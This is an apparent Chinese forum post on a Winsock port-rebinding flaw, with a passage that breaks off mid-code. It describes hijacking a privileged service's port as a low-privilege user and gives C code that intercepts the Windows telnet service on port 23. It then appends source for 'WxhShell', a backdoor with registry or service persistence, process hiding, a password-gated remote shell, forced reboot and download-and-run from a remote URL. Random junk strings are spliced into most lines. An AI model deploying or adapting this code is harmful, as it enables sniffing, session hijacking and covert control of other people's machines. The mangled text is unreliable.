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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Hd7,ZHj3 ^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _qqr5NU  
F;lI+^}}  
  saddr.sin_family = AF_INET; depYqYK7G  
<WXzh5D2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +(D$9{y   
"1q>At  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $P7iRM]  
j6~nE'sQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X7UuwIIP  
;g_> ;tR/  
  这意味着什么?意味着可以进行如下的攻击: G!8Z~CPF  
v1k)hFjPK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5m=I*.qE  
MC((M,3L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K'iIJA*Sn  
#eU.p&Zc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uV-'~8  
a9zw)A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o[ENp'r  
O<)y-nx;X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N!Qg;(  
=@u 5|:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S|rgCh!h  
_ 7PMmW@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cr?7O;,  
to8X=80-3  
  #include JxLf?ad.  
  #include TvNY:m6.%  
  #include >3:?)  
  #include    kpbm4t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fl Jp4-nx  
  int main() YJs|c\eq?  
  { IC{eE  
  WORD wVersionRequested; y~ G.V,0  
  DWORD ret; ]%uZ\Q;9p  
  WSADATA wsaData; :0K8h  
  BOOL val; E| YdcS  
  SOCKADDR_IN saddr; ]Mj/&b>"e  
  SOCKADDR_IN scaddr; Sp}D ;7  
  int err; biozZ  
  SOCKET s; ]J9cVp  
  SOCKET sc; 133I.XBU  
  int caddsize; FLoNE>q  
  HANDLE mt; '6$*YN&5  
  DWORD tid;   >U1R.B7f  
  wVersionRequested = MAKEWORD( 2, 2 ); ;o/>JHGj  
  err = WSAStartup( wVersionRequested, &wsaData );  Pi%%z  
  if ( err != 0 ) { B,z<%DAE  
  printf("error!WSAStartup failed!\n"); >vrxP8_  
  return -1; s%iOUL2/  
  } } B396X  
  saddr.sin_family = AF_INET; Kx"<J@  
   )CI1;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~9F,%  
4E8JT#&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Xd:7"/:r  
  saddr.sin_port = htons(23); 5dx&Qu'}ZS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fg$3N5*  
  { o!E v;' D  
  printf("error!socket failed!\n"); e& ANp0|W  
  return -1; RUCPV[{b  
  } (F7_S*  
  val = TRUE; iFSJL,QZ3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5_0(D;Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @ P@c.*}s  
  { %pu Lr'Y  
  printf("error!setsockopt failed!\n"); #tt?!\8C  
  return -1; #X: 'aj98  
  } D3Jr3 %>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 53HU.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =k3!RW'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %2'A pp  
S1n3(U:m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j4FeSGa  
  { KPSh#x&I  
  ret=GetLastError(); oHM ]  
  printf("error!bind failed!\n"); *O:r7_ Y0  
  return -1; :ztr)  
  } ERUt'1F?]  
  listen(s,2); kE.x+2  
  while(1) I O%6 O  
  { dAP|:&y@  
  caddsize = sizeof(scaddr); 2LCB])X  
  //接受连接请求 M)?dEgU}M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lX:|iB  
  if(sc!=INVALID_SOCKET) OE)~yKy  
  { ?EMK8;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bG&"9b_c  
  if(mt==NULL) }14 {2=!Q  
  { %I!:ITa  
  printf("Thread Creat Failed!\n"); < `qRA]  
  break; UX`]k{Mz  
  } EG'[`<*h  
  } -]C c  
  CloseHandle(mt); gw+9x<e  
  } e73^#O&Xt  
  closesocket(s); "O+5R(XT  
  WSACleanup(); nmlPX7!{$  
  return 0; E{=2\Wkcp  
  }   _2fkb=2@  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0,*%vG?Q  
  { k<w(i k1bi  
  SOCKET ss = (SOCKET)lpParam; 89{HJ9}  
  SOCKET sc; =U OLT>!  
  unsigned char buf[4096];  <VjJAu  
  SOCKADDR_IN saddr; 3>zN/ f  
  long num; Fhq9D{TeY,  
  DWORD val; I4rPHZ|  
  DWORD ret; 8pM>Co!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QVZD/shq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d "BW/%m|g  
  saddr.sin_family = AF_INET; @Un/c:n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r#WT`pav  
  saddr.sin_port = htons(23); va/m~k|i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HLQ"?OFlz  
  { w&Dv8Wv+Oq  
  printf("error!socket failed!\n"); ?&WYjTU]H  
  return -1; C2]Kc{4  
  } B;Nl~Y|\  
  val = 100; ^Yr0@pE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 50j OA#l[  
  { RhF>T&Q  
  ret = GetLastError(); -O:_!\uA  
  return -1; hlvt$Jwq  
  } >,C4rC+:XN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MB);!qy  
  { Q_*_?yf  
  ret = GetLastError(); L;_c|\%  
  return -1; dN Y"]b  
  } .=9 s1 ~]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y$ Zj?Dd#  
  { > 1L=,M  
  printf("error!socket connect failed!\n"); #)+- lPe  
  closesocket(sc); fnzy5+9"  
  closesocket(ss); 1`f_P$&Z_J  
  return -1; @ \.;b9  
  } "SWMk!  
  while(1) -9P2`XQ^  
  { ,Y_{L|:w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C>^D*C(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 { PlK@#UN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (%ew604X  
  num = recv(ss,buf,4096,0); TGT$ >/w >  
  if(num>0) @mw "W{  
  send(sc,buf,num,0); ~CRSL1?  
  else if(num==0) K5 3MMH[q#  
  break; S6nhvU:  
  num = recv(sc,buf,4096,0); Mro4`GL  
  if(num>0) gLD`wfZR  
  send(ss,buf,num,0); )G^TW'9  
  else if(num==0) 1F[L"W;r  
  break; bTmL5}n  
  } #$S}3 o  
  closesocket(ss); @z6!a  
  closesocket(sc); V BoMT:#  
  return 0 ; HCA{pR`  
  } -ML6d&cm  
B,$l4m4  
&znH!AQ0  
========================================================== <>SdVif]  
n[xkSF^)  
下边附上一个代码,,WXhSHELL )\/ =M*  
yT OyDm-  
========================================================== XR# ;{p+b  
6@;ha=[+  
#include "stdafx.h" TDK@)mP  
1ZJ4*bn  
#include <stdio.h> ]rd/;kg.S  
#include <string.h> 4C_c\;d  
#include <windows.h> huFz97?y(  
#include <winsock2.h> H{ M)-  
#include <winsvc.h> `%K`gYhG1  
#include <urlmon.h> _68BP)nz>.  
4Wel[]  
#pragma comment (lib, "Ws2_32.lib") U SOKDDm  
#pragma comment (lib, "urlmon.lib") yFIy`9R  
6y+b5-{'  
#define MAX_USER   100 // 最大客户端连接数 wjU.W5IR  
#define BUF_SOCK   200 // sock buffer UP1?5Q=H]Q  
#define KEY_BUFF   255 // 输入 buffer I\P Bu$Ww  
2F_ R/{D  
#define REBOOT     0   // 重启 ?v]-^X=&  
#define SHUTDOWN   1   // 关机 rp! LP#*  
O0~vf[i];  
#define DEF_PORT   5000 // 监听端口 8Vl!|\x5  
O>r-]0DI[  
#define REG_LEN     16   // 注册表键长度 c|p,/L09L  
#define SVC_LEN     80   // NT服务名长度 Aw ^yH+ae  
u/^|XOy  
// 从dll定义API )-P!Ae_.v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #5CI)4x0!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dZ2%S''\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7 &)]) {Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >O{7/)gS^  
{5:Zl<0  
// wxhshell配置信息 I %_MV  
struct WSCFG { =6%|?5G  
  int ws_port;         // 监听端口 oVkq2  
  char ws_passstr[REG_LEN]; // 口令 uF(k[[qaiN  
  int ws_autoins;       // 安装标记, 1=yes 0=no /9ZcM]X B  
  char ws_regname[REG_LEN]; // 注册表键名 9G+f/k,P  
  char ws_svcname[REG_LEN]; // 服务名 64oxjF)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z_z#QX>=D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7Ur?ep  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oN2=DYC41  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i S p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e=f.y<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8:;#,Urr  
D!> d0k,Y  
}; e$l 6gY  
LVtu*k   
// default Wxhshell configuration 4KpL>'Q=  
struct WSCFG wscfg={DEF_PORT, cf8-]G?tK  
    "xuhuanlingzhe", h* .w"JO  
    1, y%(X+E"n*  
    "Wxhshell", Ub)I66  
    "Wxhshell", 66:ALFwd7  
            "WxhShell Service", s"#]L44N  
    "Wrsky Windows CmdShell Service", 6v z1*\:H~  
    "Please Input Your Password: ", Q |hm1q  
  1, -e>|kPfv!  
  "http://www.wrsky.com/wxhshell.exe", Agy <j   
  "Wxhshell.exe" )^;DGzG  
    }; L@)&vn]  
<)#kq1b?  
// 消息定义模块 %]4-{%v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \ElX~$fS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O]=C#E{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?C;JJ#Ho  
char *msg_ws_ext="\n\rExit."; D[Iq n  
char *msg_ws_end="\n\rQuit."; u}jrfKd E  
char *msg_ws_boot="\n\rReboot..."; n.$(}A  
char *msg_ws_poff="\n\rShutdown..."; ijZ>:B2:  
char *msg_ws_down="\n\rSave to "; *Zkss   
rY70 ^<z  
char *msg_ws_err="\n\rErr!"; vZjZb(jlN  
char *msg_ws_ok="\n\rOK!"; =Sxol>?t  
#s"B-sWE  
char ExeFile[MAX_PATH]; #}o<v|;  
int nUser = 0; 'Ji+c  
HANDLE handles[MAX_USER]; 2w1tK  
int OsIsNt; M []OHw  
>Q2). E  
SERVICE_STATUS       serviceStatus; R{3CW^1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bEpMaBN  
LpWI>sNv  
// 函数声明 9N Le&o  
int Install(void); l]5%  
int Uninstall(void); |-kEGLH[*V  
int DownloadFile(char *sURL, SOCKET wsh); jxY-u+B  
int Boot(int flag); b7$}JCn  
void HideProc(void); m^tNqJs8  
int GetOsVer(void); 4;<DJ.XlN=  
int Wxhshell(SOCKET wsl); h5onRa *7  
void TalkWithClient(void *cs); pMN<p[MB  
int CmdShell(SOCKET sock); UC!5 wVY  
int StartFromService(void); |~$7X  
int StartWxhshell(LPSTR lpCmdLine); z+"0>ZN&  
b=LF%P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); < 5ZJ]W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c4|so=  
:C%47qv  
// 数据结构和表定义 Dd/}Ya(Gi  
SERVICE_TABLE_ENTRY DispatchTable[] = \Hum}0[  
{ lO 2k<  
{wscfg.ws_svcname, NTServiceMain}, zqGYOm$r  
{NULL, NULL} |=3 *;}  
}; ;nk@XFJ  
|~NeB"l{  
// 自我安装 X <xqT  
int Install(void) (!n-Age  
{ E~He~wHWe  
  char svExeFile[MAX_PATH]; {wu!6\:<??  
  HKEY key; 37>MJ  
  strcpy(svExeFile,ExeFile); H1Xovr  
,OB&nN t>  
// 如果是win9x系统,修改注册表设为自启动 Nmf#`+7gCI  
if(!OsIsNt) { N1? iiv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AQ}l%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bj.]o*u-  
  RegCloseKey(key); \{>eOD_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *|'}v[{v^9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^<9)"9)m_  
  RegCloseKey(key); (46U|P(v  
  return 0; ? ).(fP  
    } MZ^Ch   
  } E& ]_U$  
} ^ wQcB  
else { \UQ],+H  
rk|a'&  
// 如果是NT以上系统,安装为系统服务 4~WlP,,M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~~dfpW_"  
if (schSCManager!=0) }}s) +d  
{ 6QptKXu7  
  SC_HANDLE schService = CreateService APuu_!ez1  
  ( ~%GSsm\J  
  schSCManager, \[E-:  
  wscfg.ws_svcname, 4H9xO[iM  
  wscfg.ws_svcdisp, ST4(|K  
  SERVICE_ALL_ACCESS, )fR1n}#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =0Y'f](2eW  
  SERVICE_AUTO_START, 0C7"3l  
  SERVICE_ERROR_NORMAL, \]GGVI ;u  
  svExeFile, I)uASfT$  
  NULL, KqY>4tb  
  NULL, %>NRna  
  NULL, bl9E&B/  
  NULL, GD/nR4$  
  NULL :\T_'Shq  
  ); &@Yoj%%  
  if (schService!=0) C9+Dw#-f V  
  { ~l4Q~'  
  CloseServiceHandle(schService); U#l.E 1Z  
  CloseServiceHandle(schSCManager); CY\mU_.b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2X +7b M  
  strcat(svExeFile,wscfg.ws_svcname); '|+=B u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7dx4~dF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rr6"Y&v  
  RegCloseKey(key); Z~B+*HF  
  return 0; 1r&AB!Z #  
    } IT7:QEfKU  
  } l>33z_H^  
  CloseServiceHandle(schSCManager); ";58B} ki  
} _"`/^L`Q?  
} P:vX }V |[  
k.ww-nH  
return 1; j[BgP\&,  
} !-@SS>  
wf^cyCR0  
// 自我卸载 _4De!q0(  
int Uninstall(void) lHRK'? Q  
{ ^&e;8d|f{  
  HKEY key; 4>d[qr*<  
ol1AD: Ho  
if(!OsIsNt) { ]dQZ8yVK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Yg}WHm  
  RegDeleteValue(key,wscfg.ws_regname); <`b|L9  
  RegCloseKey(key); f61]`@Bk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l$qmn$Uc  
  RegDeleteValue(key,wscfg.ws_regname); HKT{IP+7(L  
  RegCloseKey(key); (rMTW+,  
  return 0; ]*;RHy9  
  } `jt(DKB+J  
} zh?xIpY  
} o<Ke3?J\  
else { 8~rT  
.jy)>"h0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P/HHWiD`D  
if (schSCManager!=0) ],WwqD=  
{ k0R, !F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [)B@  
  if (schService!=0) puk4D  
  { _LLW{^V  
  if(DeleteService(schService)!=0) { *YMXiYJR  
  CloseServiceHandle(schService); YlxUx  
  CloseServiceHandle(schSCManager); Gf!t< =T   
  return 0; LH1BZ(5g  
  } +X{cN5Y K  
  CloseServiceHandle(schService); UX+?0K  
  } ,(zcl$A[  
  CloseServiceHandle(schSCManager);  U5T^S  
} ..sJtA8  
} K>`m_M"LA  
!;6W!%t.|  
return 1; DWHOS XA4  
} &FT5w T  
}"!6Xm  
// 从指定url下载文件 8yNRx iW:  
int DownloadFile(char *sURL, SOCKET wsh) B>c[Zg1  
{ ](idf(j  
  HRESULT hr; 99=[>Ck)G  
char seps[]= "/"; \Or]5ogT'  
char *token; z0FR33-  
char *file; L2do 2_  
char myURL[MAX_PATH]; 1ZGQhjcx  
char myFILE[MAX_PATH]; gogl[gHO  
U!3uaz'  
strcpy(myURL,sURL); &^"s=g.  
  token=strtok(myURL,seps); +A;n*DF2  
  while(token!=NULL) >:(6{}b  
  { =Td#2V;0  
    file=token; #h}IUR  
  token=strtok(NULL,seps); OpbszSl"y  
  } Jc9@VxWY  
Vw6>:l<+<  
GetCurrentDirectory(MAX_PATH,myFILE); j=zU7wz)D  
strcat(myFILE, "\\"); / i\uwa,  
strcat(myFILE, file); 0$Qn#K  
  send(wsh,myFILE,strlen(myFILE),0); xV }:M  
send(wsh,"...",3,0); Wl@0TUK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c9>8IW  
  if(hr==S_OK) E0WrpGZ  
return 0; uk>q\j  
else KR+aY.  
return 1; 4C2>0O<^s  
6Vu}k K)  
} hv_pb#1Ks  
g%KGF)+H  
// 系统电源模块 5G dY7t_1  
int Boot(int flag) t\E-6u  
{ @p?b"?QaB  
  HANDLE hToken; 3(XHF3q  
  TOKEN_PRIVILEGES tkp; [v>Z(  
Al;%u0]5  
  if(OsIsNt) { M,=@|U/B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4OB~h]Vc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y"%iD`{  
    tkp.PrivilegeCount = 1; QmDhZ04f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]-+.lR%vd9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &9GR2GY  
if(flag==REBOOT) { ]y$V/Ij=qK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C>\h?<s  
  return 0; GhchfI.  
} rA>A=,  
else { fS'k;r*r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )U3 H1 5  
  return 0; 5r2ctde)Y  
} _tWfb}6;Zb  
  } )SlUQ7f>  
  else { 8/kx3  
if(flag==REBOOT) { \I`=JKYT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6>P  
  return 0; xhp-4  
} 6O[wVaC1u  
else { [f0oB$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )e <! =S  
  return 0; r5fz6"  
} : p*ojl|  
} dcc%G7w  
>(1_Dn\  
return 1; Wtzj;GJj  
} $=S'#^Z  
cVv4gQD\  
// win9x进程隐藏模块 (tz_D7c$F  
void HideProc(void) }tS6Z:fOY  
{ Ke;X3j ]`  
5;i!PuL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k(vEp ]  
  if ( hKernel != NULL ) xs83S.fHg  
  { W@uH!n>k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3Wtv+L7Br  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &>wce 5uV  
    FreeLibrary(hKernel); dp%pbn6w  
  } G \aLg  
y:|Xg0Kp  
return; J,77pf!B  
} ]oWZ{#r2  
:6Pc m3  
// 获取操作系统版本 # |*,zIYo  
int GetOsVer(void) Qi'WV9ke  
{ ,VcD vZ7  
  OSVERSIONINFO winfo; ^: rNoo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I}]@e ^ ~  
  GetVersionEx(&winfo); gP hw.e""  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fG[3%e  
  return 1; "8iyMP%8  
  else |?t8M9[Z  
  return 0; {dr&46$p  
} Lw+1|  
^J}$y7  
// 客户端句柄模块 ~m;MM)_V  
int Wxhshell(SOCKET wsl) nluyEK  
{ ?M{ 6U[?  
  SOCKET wsh; {J6sM$aj  
  struct sockaddr_in client; ^TCJh^4na  
  DWORD myID; j[=_1~u}  
y:6'&`L  
  while(nUser<MAX_USER) _)Z7Le:f!  
{ 1b]PCNz  
  int nSize=sizeof(client); qer'V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J7xT6Q=  
  if(wsh==INVALID_SOCKET) return 1; !O-_Dp\#  
+` Y ?-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ev|{~U  
if(handles[nUser]==0) 3K20f8g  
  closesocket(wsh); w)y9!li  
else  _I}L$  
  nUser++; gBiQIhz  
  } r(2'0JQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); : R*^Izs=  
UE$[;Zg  
  return 0; !7a^8   
} &)f++(i  
/KvPiQ%  
// 关闭 socket m+8b2H:V  
void CloseIt(SOCKET wsh) xS\QKnG.  
{ W<hdb!bE  
closesocket(wsh); qLi1yH  
nUser--; IWRq:Gw  
ExitThread(0); {s^ryv_}  
} +(P 43XO08  
!DUg"o3G>  
// 客户端请求句柄 <{xAvN( :  
void TalkWithClient(void *cs) byj mH  
{ G mUs U{  
41Q   
  SOCKET wsh=(SOCKET)cs; 2WECQl=r  
  char pwd[SVC_LEN]; ]Q_G /e  
  char cmd[KEY_BUFF]; 4bJ2<j  
char chr[1]; n; '~"AG)  
int i,j; 0N[DV]  
.yh2ttf<gB  
  while (nUser < MAX_USER) { A%8`zR  
l|tp0[  
if(wscfg.ws_passstr) { 3% 4Mq6Q`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D.Cs nfJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Dmv  
  //ZeroMemory(pwd,KEY_BUFF); $cpQ7  
      i=0; kkBV;v%a  
  while(i<SVC_LEN) { =28H^rK{  
1eyyu!  
  // 设置超时 BG?2PO{  
  fd_set FdRead; h _7;UQH  
  struct timeval TimeOut; KA{DN!  
  FD_ZERO(&FdRead); GvtI-\h]  
  FD_SET(wsh,&FdRead); V5@[7ncVf  
  TimeOut.tv_sec=8; ue:P#] tx  
  TimeOut.tv_usec=0; vKOn7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d*:qFq_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ol h%"=*;  
wQuaB6E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0]w[wc <  
  pwd=chr[0]; #YYvc`9  
  if(chr[0]==0xd || chr[0]==0xa) { ]B'  
  pwd=0; c1!/jTX$  
  break; jG ;(89QR/  
  } b0=AQ/:  
  i++; >Pd23TsN  
    } T:~W.3  
 (mD:[|.  
  // 如果是非法用户,关闭 socket PL_wa(}y]D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3rdxXmx  
} T q; "_s  
v%~ViOgL\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |nZB/YZt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kJpHhAn4  
2Xs< 1rF  
while(1) { $"n)C  
<=2*UD |  
  ZeroMemory(cmd,KEY_BUFF);  k*6eZ7  
N$\5%  
      // 自动支持客户端 telnet标准   Kf<_A{s  
  j=0; >@e%,z  
  while(j<KEY_BUFF) { R$m?&1K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `a-T95IFy  
  cmd[j]=chr[0]; 'n.9qxY;  
  if(chr[0]==0xa || chr[0]==0xd) { $=SYssg7La  
  cmd[j]=0; ^M5uLm-_s  
  break; +~.Jw#HqS  
  } Tka="eyIj3  
  j++; mBkQ 8e  
    } ddhTr i'f  
kV9NFo22  
  // 下载文件 J|8YB3K,  
  if(strstr(cmd,"http://")) { yVv3S[J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SFNd,(kB*z  
  if(DownloadFile(cmd,wsh)) {v/6|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?\VN`8Yb  
  else 1Nu`@)D0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5)i0g  
  } MdjMTe s  
  else { zb)SlR  
RA67w&  
    switch(cmd[0]) { w~?eX/;  
  S$/3Kq  
  // 帮助 %d\+(:uu/  
  case '?': { [+7X&B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XYTcG;_z  
    break; ,OAWGFKOp  
  } ZWEzL$VWi  
  // 安装 8?pZZtad  
  case 'i': { _I5+o\;1  
    if(Install()) v]S8!wU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5LH ]B  
    else l6Bd<tSH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !PbFo%)  
    break; \ .s".aA  
    } >(a_9l;q  
  // 卸载 VH65=9z  
  case 'r': { z H4#\d  
    if(Uninstall()) th|Q NG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DO{4n1-U  
    else _zwuK1e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @S):a`J  
    break; JpiKZG@L  
    } {4*%\?c,n  
  // 显示 wxhshell 所在路径 b=EZtk6>  
  case 'p': { \ziF(xTvqG  
    char svExeFile[MAX_PATH]; FgaBwd^W  
    strcpy(svExeFile,"\n\r"); !1R  
      strcat(svExeFile,ExeFile); <{uIB;P  
        send(wsh,svExeFile,strlen(svExeFile),0); YdaJ&  
    break;  /9Xf[<  
    } !I&Sy]G  
  // 重启 YgDasKFm'  
  case 'b': { i[J',  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %R>MSSjvr  
    if(Boot(REBOOT)) GjBQxn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R?I3xb  
    else { VTa8.(i6v  
    closesocket(wsh); a}\JA`5;)Z  
    ExitThread(0); p {3|W<  
    } N%y FL  
    break; en)DN3  
    } b L~<~gA  
  // 关机 eyV904<F  
  case 'd': { .jw)e!<\N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P]GGnT(!  
    if(Boot(SHUTDOWN)) f^ qQ 5N  
